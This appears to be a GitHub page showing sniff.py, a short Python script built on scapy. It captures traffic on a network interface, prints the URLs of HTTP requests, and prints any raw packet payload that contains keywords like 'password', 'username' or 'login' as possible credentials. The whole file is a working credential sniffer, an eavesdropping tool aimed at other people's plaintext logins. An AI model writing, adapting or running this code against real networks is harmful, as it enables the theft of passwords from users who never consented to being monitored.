-
Notifications
You must be signed in to change notification settings - Fork 0
/
sniff.py
46 lines (33 loc) · 1.16 KB
/
sniff.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface,store=False,prn=afterSniff)
def geturl(packet):
return str(packet[http.HTTPRequest].Host+packet[http.HTTPRequest].Path)
pass
def getcreds(packet,possiblecreds):
if packet.haslayer(scapy.Raw):
postr = packet[scapy.Raw].load
for keyword in possiblecreds:
if keyword in str(postr):
return "[+] Possible Credentials Found :> "+str(postr)
break
def afterSniff(packet):
possiblecreds = ["password","username","uname","passwd","pass","login",]
if packet.haslayer(http.HTTPRequest):
url = geturl(packet)
print("[=]URL:",url)
creds = getcreds(packet,possiblecreds)
if creds:
print(creds)
interface = input("Enter your interface> ")
try:
sniff(interface)
except PermissionError:
print("Please run this script with sudo, Permission Denied")
except:
print("Error Occoured, are your sure your interface was correct, use iwconfig to find out")
exit()
def shred():
print("Leave me here...")